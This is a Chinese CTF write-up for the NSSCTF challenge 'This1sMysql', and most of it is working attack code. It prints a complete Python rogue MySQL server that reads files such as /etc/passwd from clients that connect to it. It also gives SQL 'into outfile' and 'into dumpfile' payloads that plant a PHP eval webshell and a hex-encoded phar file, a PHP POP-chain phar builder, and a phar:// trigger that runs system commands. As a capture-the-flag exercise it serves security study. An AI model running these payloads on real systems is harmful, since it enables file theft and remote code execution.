Loading

[NSSCTF题解][NSSRound#3 Team]This1sMysql

### 知识点

  • Rogue-MySql-Server读取文件
  • MySQL写入文件
  • MySQL注入
  • POP链构造
  • Phar伪协议特性

过程

先进页面看看,因为直接明示了源码就没有扫目录收集其他信息之类的。image-20220514183901052

由于写这个题的时候第一个hint已经放出,所以就没细想,现在看来数据库连接参数完全可控,甚至可控连接配置,明摆的Rogue-MySql-Server

image-20220514184318080

不懂这是啥的可以参考:浅析MySQL恶意服务器读取文件原理 (baidu.com)

脚本如下:

from socket import AF_INET, SOCK_STREAM, error
from asyncore import dispatcher, loop as _asyLoop
from asynchat import async_chat
from struct import Struct
from sys import version_info
from logging import getLogger, INFO, StreamHandler, Formatter

_rouge_mysql_sever_read_file_result = {

}
_rouge_mysql_server_read_file_end = False


def checkVersionPy3():
    return not version_info < (3, 0)


def rouge_mysql_sever_read_file(fileName, port, showInfo):
    if showInfo:
        log = getLogger(__name__)
        log.setLevel(INFO)
        tmp_format = StreamHandler()
        tmp_format.setFormatter(Formatter("%(asctime)s : %(levelname)s : %(message)s"))
        log.addHandler(
            tmp_format
        )

    def _infoShow(*args):
        if showInfo:
            log.info(*args)

    # ================================================
    # =======No need to change after this lines=======
    # ================================================

    __author__ = 'Gifts'
    __modify__ = 'Morouu'

    global _rouge_mysql_sever_read_file_result

    class _LastPacket(Exception):
        pass

    class _OutOfOrder(Exception):
        pass

    class _MysqlPacket(object):
        packet_header = Struct('<Hbb')
        packet_header_long = Struct('<Hbbb')

        def __init__(self, packet_type, payload):
            if isinstance(packet_type, _MysqlPacket):
                self.packet_num = packet_type.packet_num + 1
            else:
                self.packet_num = packet_type
            self.payload = payload

        def __str__(self):
            payload_len = len(self.payload)
            if payload_len < 65536:
                header = _MysqlPacket.packet_header.pack(payload_len, 0, self.packet_num)
            else:
                header = _MysqlPacket.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

            result = "".join(
                (
                    header.decode("latin1") if checkVersionPy3() else header,
                    self.payload
                )
            )

            return result

        def __repr__(self):
            return repr(str(self))

        @staticmethod
        def parse(raw_data):
            packet_num = raw_data[0] if checkVersionPy3() else ord(raw_data[0])
            payload = raw_data[1:]

            return _MysqlPacket(packet_num, payload.decode("latin1") if checkVersionPy3() else payload)

    class _HttpRequestHandler(async_chat):

        def __init__(self, addr):
            async_chat.__init__(self, sock=addr[0])
            self.addr = addr[1]
            self.ibuffer = []
            self.set_terminator(3)
            self.stateList = [b"LEN", b"Auth", b"Data", b"MoreLength", b"File"] if checkVersionPy3() else ["LEN",
                                                                                                           "Auth",
                                                                                                           "Data",
                                                                                                           "MoreLength",
                                                                                                           "File"]
            self.state = self.stateList[0]
            self.sub_state = self.stateList[1]
            self.logined = False
            self.file = ""
            self.push(
                _MysqlPacket(
                    0,
                    "".join((
                        '\x0a',  # Protocol
                        '5.6.28-0ubuntu0.14.04.1' + '\0',
                        '\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
                    )))
            )

            self.order = 1
            self.states = [b'LOGIN', b'CAPS', b'ANY'] if checkVersionPy3() else ['LOGIN', 'CAPS', 'ANY']

        def push(self, data):
            _infoShow('Pushed: %r', data)
            data = str(data)
            async_chat.push(self, data.encode("latin1") if checkVersionPy3() else data)

        def collect_incoming_data(self, data):
            _infoShow('Data recved: %r', data)
            self.ibuffer.append(data)

        def found_terminator(self):
            data = b"".join(self.ibuffer) if checkVersionPy3() else "".join(self.ibuffer)
            self.ibuffer = []

            if self.state == self.stateList[0]:  # LEN
                len_bytes = data[0] + 256 * data[1] + 65536 * data[2] + 1 if checkVersionPy3() else ord(
                    data[0]) + 256 * ord(data[1]) + 65536 * ord(data[2]) + 1
                if len_bytes < 65536:
                    self.set_terminator(len_bytes)
                    self.state = self.stateList[2]  # Data
                else:
                    self.state = self.stateList[3]  # MoreLength
            elif self.state == self.stateList[3]:  # MoreLength
                if (checkVersionPy3() and data[0] != b'\0') or data[0] != '\0':
                    self.push(None)
                    self.close_when_done()
                else:
                    self.state = self.stateList[2]  # Data
            elif self.state == self.stateList[2]:  # Data
                packet = _MysqlPacket.parse(data)
                try:
                    if self.order != packet.packet_num:
                        raise _OutOfOrder()
                    else:
                        # Fix ?
                        self.order = packet.packet_num + 2
                    if packet.packet_num == 0:
                        if packet.payload[0] == '\x03':
                            _infoShow('Query')

                            self.set_terminator(3)
                            self.state = self.stateList[0]  # LEN
                            self.sub_state = self.stateList[4]  # File
                            self.file = fileName.pop(0)

                            # end
                            if len(fileName) == 1:
                                global _rouge_mysql_server_read_file_end
                                _rouge_mysql_server_read_file_end = True

                            self.push(_MysqlPacket(
                                packet,
                                '\xFB{0}'.format(self.file)
                            ))
                        elif packet.payload[0] == '\x1b':
                            _infoShow('SelectDB')
                            self.push(_MysqlPacket(
                                packet,
                                '\xfe\x00\x00\x02\x00'
                            ))
                            raise _LastPacket()
                        elif packet.payload[0] in '\x02':
                            self.push(_MysqlPacket(
                                packet, '\0\0\0\x02\0\0\0'
                            ))
                            raise _LastPacket()
                        elif packet.payload == '\x00\x01':
                            self.push(None)
                            self.close_when_done()
                        else:
                            raise ValueError()
                    else:
                        if self.sub_state == self.stateList[4]:  # File
                            _infoShow('-- result')
                            # fileContent
                            _infoShow('Result: %r', data)
                            if len(data) == 1:
                                self.push(
                                    _MysqlPacket(packet, '\0\0\0\x02\0\0\0')
                                )
                                raise _LastPacket()
                            else:
                                self.set_terminator(3)
                                self.state = self.stateList[0]  # LEN
                                self.order = packet.packet_num + 1

                            global _rouge_mysql_sever_read_file_result
                            _rouge_mysql_sever_read_file_result.update(
                                {self.file: data.encode() if not checkVersionPy3() else data}
                            )

                            # test
                            # print(self.file + ":\n" + content.decode() if checkVersionPy3() else content)

                            self.close_when_done()

                        elif self.sub_state == self.stateList[1]:  # Auth
                            self.push(_MysqlPacket(
                                packet, '\0\0\0\x02\0\0\0'
                            ))
                            raise _LastPacket()
                        else:
                            _infoShow('-- else')
                            raise ValueError('Unknown packet')
                except _LastPacket:
                    _infoShow('Last packet')
                    self.state = self.stateList[0]  # LEN
                    self.sub_state = None
                    self.order = 0
                    self.set_terminator(3)
                except _OutOfOrder:
                    _infoShow('Out of order')
                    self.push(None)
                    self.close_when_done()
            else:
                _infoShow('Unknown state')
                self.push('None')
                self.close_when_done()

    class _MysqlListener(dispatcher):
        def __init__(self, sock=None):
            dispatcher.__init__(self, sock)

            if not sock:
                self.create_socket(AF_INET, SOCK_STREAM)
                self.set_reuse_addr()
                try:
                    self.bind(('', port))
                except error:
                    exit()

                self.listen(1)

        def handle_accept(self):
            pair = self.accept()

            if pair is not None:
                _infoShow('Conn from: %r', pair[1])
                _HttpRequestHandler(pair)

                if _rouge_mysql_server_read_file_end:
                    self.close()

    _MysqlListener()
    _asyLoop()
    return _rouge_mysql_sever_read_file_result


if __name__ == '__main__':
    #fileName=需要读取文件,port=VPS随意开放的端口(注意端口不能为3306,原因为啥我忘了XD
    #不用在意SQL语句、账户、密码、选用的库,这些并不影响脚本运行
    for name, content in rouge_mysql_sever_read_file(fileName=["/etc/passwd"], port=24,showInfo=True).items():
        print(name + ":\n" + content.decode())

放VPS上运行。

image-20220514185105754

然后构造数据包控制容器去连接脚本搭建的假MySQL。

image-20220514185445174

config[8]=true&mysql[host]=VPS的IP&mysql[user]=test&mysql[pass]=test&mysql[dbname]=test&mysql[port]=脚本中的使用的端口

需要注意$conn->set_opt对应的实际上为mysqli_options这个函数,Rogue-MySql-Server需要在这个函数中设置对应的配置。

image-20220514190714900

注意他需要的配置名是整型值,但在介绍页面中给出的是常量名,但我们是通过POST方式传过去的。

image-20220514190834928

如果我们直接config[MYSQLI_OPT_LOCAL_INFILE]=true这样,传过去的是字符串MYSQLI_OPT_LOCAL_INFILE,所以需要获取其在PHP中定义对应的整型值,直接使用PHP代码如echo MYSQLI_OPT_LOCAL_INFILE;这样就行(注意如上的配置项中的MYSQLI_INIT_COMMAND,之后会用这一项配置来写文件)。

在发送数据包后,VPS这边就可以收到要读的文件内容了。

image-20220514185603292

按照这个方法逐个读取在开始页面中可以见到的class.phpfunction.php

<?php
#class.php
class Upload {
    public $file;
    public $filesize;
    public $date;
    public $tmp;
    function __construct(){
        $this->file = $_FILES;
    }
    function __toString(){
        return $this->file["file"]["name"];
    }
    function __get($value){
        $this->filesize->$value = $this->date;
        echo $this->tmp;
    }
}
class Show{
    public $source;
    public $str;
    public $filter;
    public function __construct($file)
    {
        $this->source = $file;
        $this->schema = 'php://filter/read=convert.base64-encode/resource=/tmp/';
    }
    public function __toString()
    {
        $content = $this->str[0]->source;
        $content = $this->str[1]->schema;
        return $content;
    }
    public function __get($value){
        $this->show();
        return $this->$value;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function show()
    {
        $filename = $this->schema . $this->source;
        include($filename);
    }
    public function __wakeup()
    {
        if ($this->schema !== 'php://filter/read=convert.base64-encode/resource=/tmp/') {
            $this->schema = 'php://filter/read=convert.base64-encode/resource=/tmp/';
        }
        if ($this->source !== 'default.jpg') {
            $this->source = 'default.jpg';
        }
    }
}
class Test{
    public $test1;
    public $test2;
    function __toString(){
        $str = $this->test2->test;
        return 'test';
    }
    function __get($value){
        return $this->$value;
    }
    function __destruct(){
        echo $this->test1;
    }

}

?>
<?php
#function.php
$mysqlpath = isset($_GET['mysqlpath'])?$_GET['mysqlpath']:'mysql.txt';

if(!file_exists($mysqlpath)){
    die("NoNONo!");
}
else{
    $arr = json_decode(file_get_contents($mysqlpath));
    if($conn->real_connect($arr->host, $arr->user, $arr->pass, $arr->db, $arr->port)){
        echo "connect success";
    }
    else{
        echo "connect fail";
    }
}
?>

可以发现还有个mysql.txt文件,直接从浏览器查看,可以发现是容器自身的MySQL服务的账号信息。

image-20220514190224360

审计完其中的逻辑后,可以发现接下来的目标可以归纳为如下几步(部分顺序不是严格的):

  1. 构造shell内容
  2. 写入shell到可写入的目录
    1. SQL盲注注出可写入文件的目录
    2. 构造特定数据包控制容器可连接上容器自身的MySQL服务
    3. 2的基础上利用MySQL配置项,在成功连接后执行SQL语句写入shell
  3. 根据class.php构造POP链,链的目的是使用其中include去包含shell文件
  4. 将POP链存入Phar文件
  5. 同2中一样(盲注查目录不用)将Phar文件写入到可写入的目录
  6. 构造数据包通过function.php中逻辑使用phar伪协议触发Phar文件中POP链,借此就能连上shell了。

shell简单,随便构造个一句话就行了。

<?=eval($_POST[cmd])?>

至于注出可写入文件的目录这一步直接把我卡到比赛结束,想了半天目录,比赛完发现别的师傅直接注就行了...

这里采用Pysnow师傅的图(懒狗复现的时候妹有自己注)。

img

连容器自身的MySQL简单,账户信息都在MySQL里面了,至于利用配置项这里用的是前面提过一下的MYSQLI_INIT_COMMAND,同样需要获取到其对应的整型值。

image-20220514194504749

最终构造完成的数据包如下:

image-20220514194733861

config[3]=select '<?=eval($_POST[cmd])?>' into outfile '/nssctf/bad.php';&mysql[host]=127.0.0.1&mysql[user]=root&mysql[pass]=nssctf&mysql[dbname]=ctf&mysql[port]=3306

接下来是根据class.php构造POP链,这次才发现原来POP链并不意味着只能是线性的。这里直接给出放入phar文件时的PHP代码。

<?php
class Upload {
}
class Show{
}
class Test{
}

$phar =new Phar("awsl.phar"); 
$phar->startBuffering();
$phar->setStub("XXX<?php XXX __HALT_COMPILER(); ?>"); 

$a=new Test();
$b=new Show();
$a->test1=$b;
$c0=new Upload();
$c1=new Upload();
$b->str[0]=$c0;
$b->str[1]=$c1;
$d=new Show();
$c0->filesize=$d;
$c1->filesize=$d;
$c0->date="bad.php";
$c1->date="/nssctf/";
$e=new Test();
$c0->tmp=$e;
$c1->tmp=$e;
$e->test2=$d;

$phar->setMetadata($a); 
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

对应的流程图大概是如下这个样子。

image-20220514204508844

由于并没有过多思考,逻辑上比较乱,也有很多地方可以优化(师傅们见笑了Orz)。本地测试时有很多Warnning且最后会报Fatal Error,不过是在成功用include包含shell文件之后,shell中逻辑都执行完了,之后报错那也无关紧要了。

由于Phar文件中有不可见字符如\x00这些,所以需要编码写入,一开始打算是base64的,但是执行失败,之后换了16进制就行了(可以用本地MySQL去读取Phar文件再传入HEX函数处理就能得到文件16禁止了,即select hex(LOAD_FILE('Phar文件路径'));)。

但是还需要注意一点,使用outfile写入文件会导致文件中\x00被替换为转义后的格式即字符串\0;而使用dumpfile则可以保证内容为不被转义。具体可以参考:Mysql注入中的outfile、dumpfile、load_file函数详解_Mysql_脚本之家 (jb51.net)

最终构造好的数据包如下:

image-20220514200027794

config[3]=select 0x5858583C3F70687020585858205F5F48414C545F434F4D50494C455228293B203F3E0D0A350100000100000011000000010000000000FF0000004F3A343A2254657374223A313A7B733A353A227465737431223B4F3A343A2253686F77223A313A7B733A333A22737472223B613A323A7B693A303B4F3A363A2255706C6F6164223A333A7B733A383A2266696C6573697A65223B4F3A343A2253686F77223A303A7B7D733A343A2264617465223B733A373A226261642E706870223B733A333A22746D70223B4F3A343A2254657374223A313A7B733A353A227465737432223B723A353B7D7D693A313B4F3A363A2255706C6F6164223A333A7B733A383A2266696C6573697A65223B723A353B733A343A2264617465223B733A383A222F6E73736374662F223B733A333A22746D70223B723A373B7D7D7D7D08000000746573742E74787404000000D6687F62040000000C7E7FD8B601000000000000746573745549676592BCD3EC8174ABF409E476A726F55F250200000047424D42 into dumpfile '/nssctf/phar.txt';&mysql[host]=127.0.0.1&mysql[user]=root&mysql[pass]=nssctf&mysql[dbname]=ctf&mysql[port]=3306

接下来就是去触发了,function.php中的file_exists是支持phar伪协议的,但需要注意phar伪协议的目标文件需要保证具有后缀,否则会报出如下错误(下图为本地演示)。

随后直接调用一句话中的接口就行了,flag在env中。

image-20220514201126947

querying:mysqlpath=phar:///nssctf/phar.txt
body:cmd=system('env');
posted @ 2022-05-14 20:49  Article_kelp  阅读(659)  评论(0编辑  收藏  举报